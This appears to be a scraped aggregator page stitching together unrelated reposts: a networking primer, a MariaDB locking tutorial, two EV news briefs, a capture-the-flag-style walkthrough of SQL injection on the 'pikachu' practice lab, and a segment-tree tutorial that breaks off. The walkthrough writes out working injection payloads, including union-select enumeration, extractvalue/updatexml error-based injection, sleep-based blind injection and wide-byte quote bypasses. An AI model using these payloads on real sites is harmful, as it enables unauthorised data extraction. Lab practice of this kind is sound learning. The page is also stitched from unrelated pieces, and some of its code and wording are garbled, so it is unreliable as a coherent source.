互聯網是如何連接的:計網概述

當你在瀏覽器輸入網址之後會發生什麼

最直觀的感受當然是跳轉到網址所指向的頁面啦,但在網絡比較卡的時候,你可能注意到過,瀏覽器的左下角通常會有一些等待什麼什麼請求之類的小字。這時候,一個問題讓你搜索到了這篇博文,我輸入網址之後,瀏覽器到底幹了什麼?更要命的是,我想知道互聯網到底是如何把每個人連接起來的?

我們先來認識一下你的瀏覽器,雖然大多數時間你都在使用它愉快的網上衝浪。可能在你的印象里,這個玩意兒就是只能開開網頁,看看視頻,功能強大,但略顯單一。現在,隨便找個PDF文件然後打開,你的默認方式應該是你心愛的瀏覽器。如果不是,可以右鍵選擇打開方式,再用瀏覽器打開。

應該都能打開吧?這麼一說,好像我們從來沒注意過這傢伙居然還有別的用處。為什麼潛意思里覺得它就是看看網頁呢?這裏要更新一下名詞,實際上我們輸入的網址,更準確的叫法應該是URL。

URL: Uniform Resource Locator,統一資源定位符。詞聽起來有點繞口,你可以看看現在打開PDF標籤頁的地址欄,看看它的開頭是不是跟網址不一樣

URL有各種各樣的寫法“http:”、“https:”、“ftp:”、“file:”、“mailto:”,開頭部分表示了瀏覽器應當採取的訪問方式。那麼輸入網址之後,首先發生了什麼事就呼之欲出了。

瀏覽器先得解析URL

比如我們要訪問博客園的首頁,那麼應該在地址欄輸入https://www.cnblogs.com。瀏覽器看到URL的開頭是https,就會明白這是一個web請求,後面的www.cnblogs.com指的是Web服務器域名。

域名可以看成是IP地址的別名,你可以在搜索引擎里輸入IP,你會看到一連串的数字。沒有人會希望上個網還要先拿小本本把經常用到的IP地址記下來,再說,輸入這一連串的数字也很麻煩,一不小心就輸錯了。所以我們使用域名來代替IP地址,幫助記憶。

IP地址:你可以類比於現實中的住房地址,因特網上的計算機也擁有一個惟一標識符來區別它的網上鄰居(其他的電腦)。

APP支持IPv6網絡是怎麼回事?你可能在APP啟動界面的底部看到過這行小字,實際上IPv6之前是IPv4(互聯網通信協議第四版),就是一個給大家分配地址的協議,在這個版本里IP用32位的整數表示。32位?看起來很長的樣子,然而2011年的時候,IANA就宣布IPv4地址43億IP地址已經分配完畢。

後續的IPv6可謂是超級加強版,32位擴展到了128位意味着能給地球上每一粒沙子編號,他能分配大約3.4×10^38個IP地址!

向DNS查詢Web服務器的IP地址

域名對應着IP地址,那麼如何才能知道這個域名對應的IP地址是什麼呢?自然是得問拿小本本記下這些東西的人啦。

DNS : 一個可以將域名和IP地址相互映射的一個分佈式數據庫,能夠使人更方便的訪問互聯網,而不用去記住能夠被機器直接讀取的IP數串。

只用一台DNS服務器去存儲數不勝數的IP地址是不可能的,所以在分散保存的情況下,一台DNS是如何處理它查詢不到的域名信息呢?

實際上,如同域名一樣,DNS也是分級的。域名的最左邊部分表示機器名字,它隨後的部分則是該計算機所屬的組織,可能還會有子組織。最右邊則代表頂級域名,指定該計算機所屬組織的類型。大部分的頂級域都被用於美國的公司和組織,其他國家的計算機一般是用國家的特有頂級域,比如cn(中國)。

頂級域 主要應用
edu 教育機構
com 商業公司
org 非盈利組織
net 網絡供應商
cn 中國國家頂級域名

負責管理下級域的DNS服務器找不到該域名對應的IP地址就會發送一個請求到它們的上級DNS服務器中去尋找,然後上級DNS還找不到就到更上一級的DNS服務器中,以此類推。最上一級叫做根域,根域服務器的地址在配置DNS服務器的時候就已經寫入其配置文件裏面了。

分配給根域DNS服務器的IP地址在全世界僅有13個,很遺憾中國沒有。日本佔據一個,其他的全是歐美。

雖然IP地址只有13個,但實際上服務器的數量遠遠多於13個,因為根域DNS是使用多台服務器對應一個IP地址的。

不知道你是否有過瀏覽器突然不能訪問網頁的經歷,更離譜的是QQ居然能用,就他瀏覽器不行。這是為什麼呢?多半是DNS服務器地址的問題,在 控制面板\網絡和 Internet\網絡連接 右鍵屬性選擇IPv4 改成下圖一般就好了

為什麼QQ沒問題呢?因為QQ是直接通過IP連接的。

你訪問的其實是文件

現在不如點開一下我首頁的第一篇博客吧,或者直接訪問https://www.cnblogs.com/AD-milk/p/13171059.html然後按下F12打開開發者模式,讓我們看看都有些什麼?

我們請求了一個html文件,1317…好像就是輸入的網址里的那個。這麼說的話,這一個一個斜桿好像確實是像文件路徑的結構!

但如果你訪問博客園的首頁,你會發現路徑名那裡只有一個/,這表示根目錄,好像並沒有指定文件呀。這種省略文件名的情況下,一般是默認訪問根目錄下的index.html或者default.html這樣的文件。

html:超文本標記語言,你可以簡單的認為是可以在文本中嵌入音頻,圖片和鏈接的語言

按理說我們只是請求了13171059.html這個文件,但從圖中來看我們好像請求了不止一個文件,這是為什麼?回想一下,你會有過因為網卡而導致加載的頁面只有文字的情況?這一般是因為網絡問題,css文件以及圖片沒有被傳輸過來。瀏覽器在加載文件之前並不知道這裏還需要什麼圖片或者文件,只有加載之後才會繼續發送請求。

css文件是一種用來指定html樣式的文件。缺少了它頁面就沒有好看的風格了。

1 條請求消息中只能寫 1 個 URI。如果需要獲取多個文件,必須對每個文件單獨發送 1 條請求。

URI:Uniform Resource Identifier,統一資源標識符,URL是特殊的URI

眨眼間的旅途

你說的我都知道了,可你還是沒有回答我,互聯網到底是如何互聯的?

首先來考慮一個簡單的場景:兩台電腦之間如何互相通訊?當然是接跟線把兩個都連上啦,那再來五台怎麼辦?往電腦上再打五個接口?這顯然不現實,我們可以讓集線器幫我們的忙。它具有多個端口,可以實現其內部所有網絡設備的連通。不過集線器是個榆木腦袋,它唯一知道的事情就是:當某一個端口發出數據時,它就把這個數據複製到與其連接的其他端口,這樣所有連接到集線器的設備都可以獲得這個數據包。這跟個大喇叭一樣,太煩人了,說點悄悄話都不行。

之所以電纜不如光纖通信速率高,是因為電信號在提升通信速率的同時,其衰減率也會提高(信號在傳播過程中減弱),導致信號無法傳到目的地。相對地,光信號本來的衰減率就很低,提高通信速率也並不會提高衰減率。此外,光纖還不受電磁噪聲的影響,因此光纖能夠進行高速通信。

不是光信號本來就比電信號快啦!!!

為了解決廣播所帶來的安全問題,以及減少不必要的流量,我們可以換個聰明點的傢伙:交換機。交換機比集線器智能的地方在於,它記下了與其相連的主機的物理地址MAC,他把這些存儲在地址表裡面。那麼現在,當數據報從一個端口發出時,它能根據數據報提供的目標MAC,直接將數據發往預期的目的端口。終於可以和喜歡的女同學說悄悄話了,呼~~。

但集線器和交換機只能在局域網中交換信息,無法在外部網絡交換。因為要在互聯網上通訊需要識別IP地址,顯然集線器和交換機沒有這個功能。所以我們需要用到路由器:它是一個能根據IP地址,將數據報從一個路由轉發到另外一個路由的設備。這意味着它具有過濾功能,但一個數據報達到該路由時,它會檢查這是否是發給自己的,如果不是的話就將它轉發給其他路由。所以它相當於一個網絡的網關。

現在的路由器大多集成了三者的功能,成了“瑞士軍刀”。讓人想不到的是,儘管交換機比路由器簡單,但實際上路由器早於交換機問世。

現在從我們電腦發出的請求數據報就沿着電路,被多個路由器轉發,最後到達目的地。

至此,這眨眼間的漫長旅途迎來了終點。但其實網絡通訊遠不止這些,這裏省去了很多東西,其中最重要的就是各式各樣的協議了。缺少協議會使得網絡世界通訊困難,就好比現實生活中你覺得點頭表示OK,搖頭表示NO,但另外一個人卻持相反的認識,這時候你們倆的交流就會遇上大麻煩!

協議:定義了在兩個或多個通信實體之間交換的報文格式和順序,以及報文發送和接收一條報文或其他事件採取的動作

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

Mariadb之顯式使用表鎖和行級鎖

  首先我們來看看mariadb的鎖定概念,所謂鎖就是當一個進程或事務在操作某一資源時,為了防止其他用戶或者進程或事務對其進行資源操作,導致資源搶佔而發生衝突,通常在A進程操作該資源時,會對該資源進行加鎖,實現多進程或多用戶操作同一資源時,不會發生衝突;通常情況鎖的類型分讀鎖和寫鎖,所謂讀鎖就是共享鎖,它可以實現多個讀操作共享;而寫鎖就是排它鎖,獨佔鎖,一旦加了寫鎖,其他用戶的讀寫操作將被阻塞,直到該寫鎖被釋放或者因超時而被釋放,在其他用戶進行的讀寫操作,此時就會被執行;對於鎖定範圍來講,它又可以分為,表鎖和行鎖,從字面意思就可以理解到,表鎖就是針對整張表所施加的鎖,而這種鎖定力度相當粗糙,併發相對就比較低,但是維持鎖狀態鎖消耗的成本資源就較小;對於行鎖來說,它針對的範圍就是行級別所施加的鎖,這種鎖的粒度就相對要精細,同時併發相對較高,但是維護鎖狀態消耗的成本資源就相對要大;對於mysql來講又鎖分為存儲引擎級別的鎖和mysql server級別的鎖,存儲引擎級別的鎖指的是對於何時施加鎖或者釋放鎖由存儲引擎自行決定;mysql server級別鎖指的是用戶使用命令可自行決定施加鎖或釋放鎖;簡單講就是允許用戶顯式請求加鎖或釋放鎖;顯式鎖就是用戶手動用命令施加的鎖,隱式鎖指的是由存儲引擎根據需要自行施加的鎖;對於innodb存儲引擎來講,它支持事務,行級鎖;而早期的MyISAM存儲引擎它不支持事務,對鎖的粒度是表級鎖,不支持行級鎖;

  显示鎖的使用

  1)LOCK TABLES

    指令使用語法:

    LOCK TABLES  tbl_name  read|write, tbl_name read|write, …

  示例:

  提示:以上語句表示對test_tb這張表施加讀鎖操作,這意味着其他用戶或進程都不能對該表進行寫的操作,只能讀,因為讀鎖是共享鎖;

  測試:對test_tb表進行寫操作,看看是否能夠寫進去?

  提示:從上面的提示,它告訴我們test_tb這張表施加了讀鎖,不允許更新;這說明施加讀鎖,對於寫的操作就不能進行;

  測試:對test_tb表進行讀操作,看看是否能夠進行呢?

  提示:可以看到加了讀鎖的表,對於讀操作上可以繼續進行的;

  測試:對test_tb表施加寫鎖

  提示:釋放鎖用unlock tables即可釋放剛才的讀鎖;

  測試:對test_tb進行寫操作,看看是否能夠進行?

  提示:在當前終端(加寫鎖所在終端)上是可以進行讀寫操作的;

  測試:在其他終端看看是否能夠對test_tb表進行讀寫操作呢?

  提示:從上面的截圖可以看到當我們重新啟動一個終端對test_tb進行寫操作,它一直處於阻塞狀態;

  提示:對於對操作也是同樣的效果;一直阻塞着;

  總結:對於施加讀鎖的表,是可以進行讀操作的,但是不能進行寫操作,包括當前終端也不能寫操作;對於施加寫鎖的表,在當前施加鎖的終端上是可以對其進行讀寫操作的,但是在別的終端讀寫操作都將阻塞;

  除了以上指令來對錶進行加鎖外,還可以使用 flush tables指令來加讀鎖,具體語法請看下面;

  FLUSH TABLES tbl_name,… [WITH READ LOCK];

  測試:加讀鎖

  提示:以上flush tables 只能加讀鎖,不能加寫鎖;

  行級鎖:SELECT cluase [FOR UPDATE | LOCK IN SHARE MODE]

  行級排它鎖

  提示:以上紅框中的內容就是給第一行加了一個排它鎖,這意味着該事務沒有提交,其他事務就不能再獲取該行的其他鎖,包括共享鎖和排它鎖,但是獲取排它鎖的事務是可以對數據就行讀取和修改。

  提示:可以看到我們重新啟動一個事務,然後對第一行進行更新操作,語句就阻塞在哪裡了;說明行級排它鎖對其他事務來講是不允許對加鎖的行進行寫操作;默認情況updeate更新會默認加上排它鎖,因為對於第一行來講,已經有一個排它鎖了,所以其他事務就不能對其在加其他鎖;而對於select語句來講,它執行時默認會加任何鎖的,所以我們執行select語句是可以正常的查看第一行數據;如果我們在select後面手動加鎖,它也會阻塞的;如下

  提示:從上面的截圖信息可以看到,我們手動加上排它鎖,查詢語句也不會順利執行;從上面信息還可以了解到,我們對第二行也沒法進行操作,這又是為什麼呢?

  提示:我們查看test_tb這張表上的索引信息,發現沒有索引,然後我們在上面創建了一個索引;創建索引時,需要把前面的事務提交了,才可創建成功,否則一直鎖在哪裡的;接下來我們在創建一個事務,把第一行加上排它鎖,然後在對第二行操作看看是否還會一直阻塞呢?

  提示:可以看到當我們創建就了索引后,再對第一行加鎖,然後更新第二行就可以正常更新了 ,對第一行還是處於阻塞狀態;這說明innodb存儲引擎的行級鎖的實現其實是依靠其對應的索引,所以如果操作的行並沒有用到索引,那麼用的還是表級鎖。施加行級排它鎖后,其他事務將不能對其在施加任何鎖;那麼對於獲取到排它鎖的是否能夠正常操作呢?

  提示:對於獲取到排它鎖的事務,是可以正常更新修改的;也可以給對應行施加其他鎖;

  行級共享鎖

  提示:以上紅框中的內容表示給第一行施加共享鎖,這意味着在其他事務鎖可以共享這把鎖看到數據,但是不能更新修改數據;

  測試:在當前事務中更新數據,看看是否可更新?

  提示:在當前事務中是可以正常修改數據的;也能正常查看數據;

  在其他事務中修改數據,看看是否可修改?

  提示:可以看到在其他事務中,就不能對有共享鎖的行進行修改操作,但是可以正常讀;

  總結:innodb存儲引擎的行級鎖依賴索引,如果沒有索引,就相當於表級鎖;對於排它鎖來講,獲取到排它鎖的事務是可以正常修改更新以及加共享鎖,對於沒有獲取到排它鎖的事務,是不能夠對有鎖的行進行修改更新以及加鎖的操作;對於共享鎖來講,對於當前事務(加鎖操作的事務)是可以正常修改更新有鎖的行,對於其他事務,是不可修改和更新有鎖的行;

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

e-bike 新北正式上路 持悠遊卡就能租借

e-bike 電動自行車正式在新北市上路!台灣城市動力公司從 2014 年開始設立租借站,經過 3 個多月試營運期,近日 7 個站點陸續正式上路,目前板橋有 3 站、鶯歌 2 站、蘆洲及中和各 1 站,租借人次已逾 7,000 人次。   e-bike 為公共電動二輪車租借系統,車內附有鋰電池,可透過電池交換站系統,隨時取得電能,最大速率為 25 公里,行駛里程也為 25 公里,民眾只要持有悠遊卡就能租賃,前 30 分鐘費率為 1 元,之後每 15 分鐘 15 元。   全台第 1 站 2 月 14 日在鶯歌正式營運,至今租借次數已達 2,000 人次,但仍有部分民眾不清楚 e-bike 為何物,看到一排電動自行車停靠在老街口,還誤以為是廠商在賣車。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

法國將提高純電動車補貼 增至一萬歐元

據京華時報報導,法國政府正在醞釀進一步提高電動汽車的購買補貼,計畫將純電動汽車的補貼從6300歐元增加到1萬歐元,插電式混合動力車的購買補貼從4000歐元增加到6500歐元。   如果消費者家中有開了13年或者時間更長的柴油車,還可以舊換新,在所有補貼的基礎上再額外獲得3700歐元或者2500歐元的獎勵。而依然購買新柴油車(歐6車輛排放低於110克/CO)的消費者,只能獲得500歐元的獎勵。目前相關補貼方案正在制定中,並有望於今年4月1日起實行。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

pick靶場-sql注入

甲.数字型注入

数字型注入一般提交值沒有引號,所以直接在後面構造語句就可以了。

 

 

 

 抓包查看

 

 

 

 構造語句

 

 

 

 提交后

 

 

 

 

該數據庫表內容被爆出來了。

 

乙.字符型注入

 

首先我們要知道一點,字符串在數據庫中提交是需要用引號將字符串包含的。所以字符型注入一般需要用到引號來閉合字符串,閉合引號后就可以接執行的sql語句,就可以執行。

name=’kobe’

這時候需要構造語句  ‘or 1=1# 單引號是為了閉合1前面的單引號,#是為了註釋掉後面語句

 

這裏輸入kobe提交后显示了uid和email,猜測語句是 select uid,email from 表 where username=’輸入的值’

這裏要構造語句,輸入的值變成’or 1=1#。那麼查詢語句就是select uid,email from 表 where username=”or 1=1#’

閉合單引號后,把後面一個單引號註釋掉。

 

 

 

嘗試讀取數據庫信息。

使用order by 猜表字段數

 

 

 

 

 

 

表字段數為2,開始構造語句

 database() 數據庫名

 version() 數據庫版本

 user()

 

22′  union select  database(),user()#

 

這裏了解下mysql中information_schema數據庫,他可以幫助我們查詢更多信息。

 

Mysql 5.0以上中,information_schema數據庫會記錄當前數據庫信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  數據庫名

 

group_concat用來合併多條數據記錄,可用來合併結果。

因此,查詢當前數據庫下錶名可以使用(group_concat使用與否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查詢表中列名

group_concat(column_name) from information_schema.columns where table_name = ‘列名’、

 

丙.搜索型注入

搜索框中的數據庫語句一般是採用的查詢語句,這裏我們先了解下sql查詢語句

SQL提供了四種匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多個字符,如以下查詢語句:

select * from user where name like ‘%三%’; 這個語句將會把name中帶有“三”的信息全部查找出來

select * from user where name like ‘%三’ ; 這個語句將會把name中最右邊帶有“三”的信息全部查找出來

select * from user where name like ‘三%’ ; 這個語句將會把name中最左邊帶有“三”的信息全部查找出來

 

2. _

_表示任意單個字符,如以下語句:

select * from user where name like ‘_三_’; 這個語句會匹配出“二三四”

select * from user where name like ‘__三’; 這個語句會匹配出“一二三”

 

3. [ ]

[ ]表示括號內所列字符中的一個(類似於正則表達式),如以下語句:

select * from user where name like ‘老[大二三]’; 如果都存在的話將找出“老大”、“老二”、“老三”

同時支持縮寫0-9、a-z等。

 

4.[^ ]

類似於正則表達式,將括號內的元素排除,如以下語句:

select * from user where name like ‘[0-3]個’ 將會檢索出除了“0個”,“1個”,“2個”,“3個”

————————————————

版權聲明:本文為CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看題目,首先輸入ko,能夠查詢出來

 

再輸入ob,也可以查詢出來

 

 

 

很明顯,這裏使用的語句,應該是%這種類型的模糊查詢方式。

猜測語句是select username,uid,email from 表 where username=’%輸入的值%’

構造語句,直接使用’or 1=1#

‘閉合掉字符串,然後使用#註釋掉後面的%’

 

 

 

sql語句很靈活,閉合前一個語句后,可以使用聯合查詢查詢數據庫信息,比如’union select user(),2,3#

 

 

丁.xx注入

先試一試’union select 1,2#

報錯显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2,3#’)’ at line 1

發現我們寫的語句後面有個引號和括號,嘗試構造語句閉合

‘) union select 1,2,3#

報錯select列的數量不匹配,說明執行了我們構造的語句。嘗試改成’) union select 1,2#

 

 

爆表數據就要用 ‘)or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。首先猜測語句類型,是查詢類的可以通過union語句來查詢。

 

首先,添加用戶的地方是對數據庫表進行寫入操作。

我們要了解,sql中寫入新數據,用的語句是

INSERT INTO 表名稱 VALUES (值1, 值2,….)

我們也可以指定所要插入數據的列:

INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,….)

使提交報錯也印證了語句是用是insert into語句

 

 

 

首先要了解insert注入一般使用的語句

extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1′

extractvalue() :對XML文檔進行查詢的函數

語法:extractvalue(目標xml文檔,xml路徑)

第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

 

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

 

concat函數是mysql的字符串連接函數

裏面可以執行sql語句

select concat(0x7e,(select user()) ,0x7e)

驗證結果:16進制也能被自動轉義(0x7e是 ~符號)

 

 

下面故意寫入語法錯誤:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函數中第二個參數變成~select detabase(),這樣與extractvalue函數規定的語法不同,就會引起報錯。

在寫入數據的地方使用構造語句

ttt’and extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1

 

 

 

 

updatexml()

做數據修改的時候會存在update注入的地方

 

updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法updatexml(目標xml文檔,xml路徑,更新的內容)

報錯語句為

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

構造語句

aa’ and updatexml(1,concat(0x7e,(database())),1) and ‘1’=’1

 

 

 其實也可以使用extractvalue(),只要有報錯,會執行我們構造的語句就成。

 

 

己.delete注入

sql中刪除數據一般使用

DELETE 語句

DELETE 語句用於刪除表中的行。

語法

DELETE FROM 表名稱 WHERE 列名稱 = 值

 

點擊刪除

 

 

抓包看

 

 刪除的列名為id,值為59。不為字符串,可直接構造語句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接輸入

 

 

改數據包需要使用空格實體或者+

 

 

庚.http header

web滲透很多地方都涉及到數據包頭部的改寫,我這裏就不多說。

 

 

這題很坑的地方在於,不了解後端代碼是怎麼寫的做起來很彆扭,因為這題目要显示出包頭的信息根本不需要將包頭信息存儲在數據庫中。代碼里倒是寫進數據庫了,但後面調用是直接讀前端獲取到的頭部信息,沒有從數據庫中讀取,可能作者是想做個類似訪問記錄的東西。

 

辛.boolian盲注

根據返回信息判斷語句是否正確。

基於真假的盲注主要特徵

  • 沒有報錯信息
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,後面跟 and 1=1 / and 1=2 進行判斷

 

kobe’ and 1=1#
kobe’ and 1=2#

發現一條正確執行,一條显示用戶名不存在,說明後台存在 SQL 注入漏洞

length(database()) 判斷 數據庫名稱的長度

kobe’ and length(database()) >5#

 

SUBSTR函數

 substr(database(), 1, 1) 截取數據庫名稱第一個字符

ascii(substr(database(), 1, 1)) 截取數據庫名稱第一個字符,轉換成ascii值

kobe’ and ascii(substr(database(), 1, 1)) > 105# 判斷數據庫名稱第一個字符ascii值的大小

 

判斷出數據庫名稱后可以使用substr(database(),1,1)=’字母’#

進行爆破,然後substr(database(),2,1)=’字母’#依次爆破,得出完整數據庫名。

 

這裏簡要說明下SUBSTR函數:

SUBSTR函數是用來截取數據庫某一列字段中的一部分。

在各個數據庫的函數名稱不一樣

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是從pos開始的位置,一直截取到最後。

 

還有一種比較常用的是:

SUBSTR(str,pos,len);

這種表示的意思是,就是從pos開始的位置,截取len個字符(空白也算字符)。

需要注意的是:如果pos為1(而不是0),表示從第一個位置開始。

————————————————

版權聲明:SUBSTR函數說明為CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延時盲注

構造語句,使語句提交操作延時,來判斷構造的語句是否正確。

kobe’ and sleep(3)#

該語句表示如果存在kobe,則延時提交3秒。

根據這個方法,可以組合其他語句來猜解當前數據庫信息。

 

lili’ and if(substr(database(),1,1)=’p’,sleep(5),1)#

 

 

 

盲注可以通過爆破來輔助猜解,具體參考https://www.cnblogs.com/paperpen/p/12324363.html

 

癸.寬字節注入

寬字節注入是因為數據庫使用了GBK編碼,多字節的編碼,兩個字節代表一個漢字。

注入中單引號存在被反斜杠轉義的情況。\’,其中\的十六進制是 %5C。%df’被轉義成%df\’,就變成了%df\’=%df%5c%27,%df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’。單引號就可以按照初期想法被識別。

構造語句kobe%df%27 or 1=1#,通過網頁修改無效,直接修改數據包,成功。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

線段樹(毒瘤)總結

我們在這篇博客里將具體介紹一種超級毒瘤超級高效的算法
線段樹

概念引入

首先來認識一下線段樹
什麼是線段樹呢:
線段樹是一種二叉樹,也就是對於一個線段,我們會用一個二叉樹來表示。比如說一個長度為6的線段,我們可以表示成這樣

這個圖是什麼意思呢?

  • 將這個做成一個樹的結構 每個根節點存儲左右兩個節點的權值之和
    舉個栗子:最上邊的線段表示1~6的和 而他的左兒子表示1~3的和 右兒子表示4~6的和
  • 然後他左兒子的左兒子又表示1~2的和 左兒子的右兒子表示3的權值
  • 因此 節點i的權值=i左兒子的權值+i右兒子的權值
  • 所以我們可以得到 tree[rt].sum = tree[l].sum + tree[r].sum
  • 根據這個原理 我們就可以進行遞歸建樹了
struct node{
      int l,r,sum;//l表示左兒子 r表示右兒子  sum表示當前節點存儲的權值
}tree[maxn*4];

void build(int i,int l,int r){
	tree[i].l = l;tree[i].r = r;
	if(l == r){
		tree[i].sum = a[l];//a數組存儲給出的數組初始值
		return;
	}
	int mid = (l+r)/2;
	build(i*2,l,mid);
	build(i*2+1,mid+1,r);
	tree[i].sum = tree[i*2].sum+tree[i*2+1].sum;
	return;
}

這就是線段樹的建樹方法 如果你要問為什麼我們要花好幾倍的內存去建樹來完成一個數組就能完成的事情 那就是因為我們需要讓這個超級大的數組去干一些比較困難的事情
那什麼是比較困難的事情呢 讓我們進入下個專題

簡單的操作

單點修改 區間查詢

  • 舉個例子 我們要求出區間1~5的和
  • 顯然可以 for(int i = 1;i<=5;++i){ans+=a[i]};
  • 但是我們仍然要使用線段樹來進行操作
  • 首先看區間的位置
    當前處在根節點 存儲的左邊界是1 右邊界是6
    根節點的左兒子的左邊界是1 右邊界是3 右兒子的左邊界是4 右邊界是6
    左兒子的區間完全被該區間包括 所以我們直接返回左兒子的權值
    右兒子的左邊界在目標區間右邊界的左邊 所以我們繼續遞歸搜索右邊界
    現在最新的左兒子為4~5 完全包括在目標區間之中 直接返回權值 右兒子6與該區間毫無關係 返回0
    現在我們就可以把返回的值加起來了 3+2=5
  • 有人可能會吐槽了 用一個數組能解決的問題 為什麼要搞的這麼複雜
  • 但是有的時候雖然數組很方便 但是他並不能滿足我們的需求 ,O(n)的效率 ,有時候是無法令出題人快樂的, 這個時候就需要用到線段樹了 O(\(log_n\))

因此用代碼怎麼實現呢 也很簡單
先讓我們總結一下線段樹的查詢方式:

  • 如果當前區間完全被包括在目標區間之中,直接返回當前區間的權值
  • 如果當前區間與目標區間毫無關係 直接返回 0
  • 如果當前區間與目標區間有交叉 繼續遞歸搜索左兒子和右兒子
    那我們就可以有這樣的代碼實現形式
int search(int rt,int l,int r){
	if(tree[rt].r < l ||tree[rt].l > r)return 0;
	if(tree[rt].l >= l && tree[rt].r <= r)return tree[rt].sum;
	int ans = 0;
	if(tree[rt*2].r >= l)ans += search(2*rt,l,r);
	if(tree[rt*2+1].l <= r)ans += search(2*rt+1,l,r);
	return ans;
}

 那單點修改呢  這個相對就簡單許多了 * 給出一個位置x 一個值k * 如果我們要修改x位置的數 讓他加上一個數k 我們就讓樹去遞歸尋找這個位置 “`cpp void add(int rt,int x,int k){ if(tree[rt].l == tree[rt].r){//到達恭弘=叶 恭弘子節點 說明找到該位置 tree[rt].sum += k; return; } if(x <= tree[rt*2].r)add(rt*2,x,k); // 遞歸搜索左兒子 else add(rt*2+1,x,k);//遞歸搜索右兒子 tree[rt].sum = tree[rt*2].sum + tree[rt*2+1].sum;//重新將權值加和 return; } “`

區間修改單點查詢

區間修改和單點查詢的方法有很多
為了一會對pushdown的講解 我們這裏說一種比較便於下面理解的方法

區間修改和區間查詢很像

  • 不過區間查詢的 ”如果當前區間完全包括在目標區間就返回當前區間的值“要改為將當前區間打上k標記
  • 舉個例子: 我們要把一個區間所有的數加上k
  • 那就去遞歸搜索線段樹 如果發現某個線段樹的區間完全包括在目標區間中 那就將這個區間打上k標記
  • 但是我們這裏的建樹就要有所不同了
  • 因為我們的所有節點的初始值都會為0(為了便於記錄標記k)
void build(int l,int r,int rt){
    tree[rt].num=0;
    tree[rt].l=l;
    tree[rt].r=r;
    if(l==r)
        return ;
    int mid=(r+l)/2;
    build(l,mid,rt*2);
    build(mid+1,r,rt*2+1);
}

void add(int rt,int l,int r,int k){
    if(tree[rt].l>=l && tree[rt].r<=r){
        tree[rt].num+=k;
        return ;
    }
    if(tree[rt*2].r>=l)
       add(rt*2,l,r,k);
    if(tree[rt*2+1].l<=r)
       add(rt*2+1,l,r,k);
}

單點查詢可以去尋找這個節點 路上遇到的所有標記都要累加起來 最後再加上這個節點的初始值 用代碼實現大概是這個樣子 “`cpp void search(int rt,int dis){ ans+=tree[rt].num; if(tree[rt].l==tree[rt].r) return ; if(dis<=tree[rt*2].r) search(rt*2,dis); if(dis>=tree[rt*2+1].l) search(rt*2+1,dis); } //主函數中 printf(“%d\n”,ans+a[x]);//a[x]為目標位置的初始值 “`

建議將上面的板子打熟再向下繼續觀看

區間修改與區間查詢(pushdown and lazy)

前方高難
看到這樣的題你或許會想 不就是上邊那兩种放在一起嗎
但是如果你真的這樣寫完了代碼你會發現 WA
